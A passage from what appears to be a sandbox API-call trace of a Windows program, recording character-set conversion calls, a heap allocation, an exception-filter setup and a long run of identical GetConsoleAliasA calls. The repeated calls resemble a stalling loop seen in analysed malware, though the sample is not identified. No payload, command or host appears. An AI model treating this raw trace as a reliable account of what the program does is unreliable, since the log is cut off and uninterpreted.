¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0078.386] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x19f488, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0078.386] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchWideChar=256, lpMultiByteStr=0x19fc5c, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿP*\rº\x94þ\x19", lpUsedDefaultChar=0x0) returned 256 [0078.386] GetLastError () returned 0x0 [0078.386] SetLastError (dwErrCode=0x0) [0078.386] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fd5c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0078.386] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fd5c, cbMultiByte=256, lpWideCharStr=0x19f6b8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0078.386] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0078.386] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x19f4a8, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸĀ") returned 256 [0078.387] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸĀ", cchWideChar=256, lpMultiByteStr=0x19fb5c, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿP*\rº\x94þ\x19", lpUsedDefaultChar=0x0) returned 256 [0078.387] RtlAllocateHeap (HeapHandle=0x47a0000, Flags=0x8, Size=0x80) returned 0x47a2f18 [0078.387] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x406703) returned 0x0 [0078.388] RtlSizeHeap (HeapHandle=0x47a0000, Flags=0x0, MemoryPointer=0x47a2f18) returned 0x80 [0078.488] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.488] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.488] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.488] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.488] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.488] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.488] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.488] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.488] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.488] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.488] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.488] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.488] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.489] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.489] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.489] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.489] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.489] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.489] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.489] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.489] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.489] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.489] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.489] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.489] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.489] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.489] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.489] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.489] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.489] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.489] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.489] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.489] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.490] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.490] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.490] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.490] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.490] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.490] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.490] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.490] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.490] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.490] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.490] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.490] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.490] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.490] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.490] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.490] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.490] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.491] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.491] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.491] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.491] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.491] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.491] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.491] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.491] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.491] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.491] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.491] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.491] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.491] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.491] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.491] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.491] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.491] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.491] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.491] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.491] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.491] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.491] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.492] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.492] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.492] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.492] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.492] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.492] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.492] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.492] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.492] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.492] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.492] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.492] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.492] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.492] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.492] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.492] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.492] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.492] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.492] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.492] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.492] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.492] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.493] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.493] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.493] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.493] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.493] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.493] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.493] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.493] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0078.493] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, 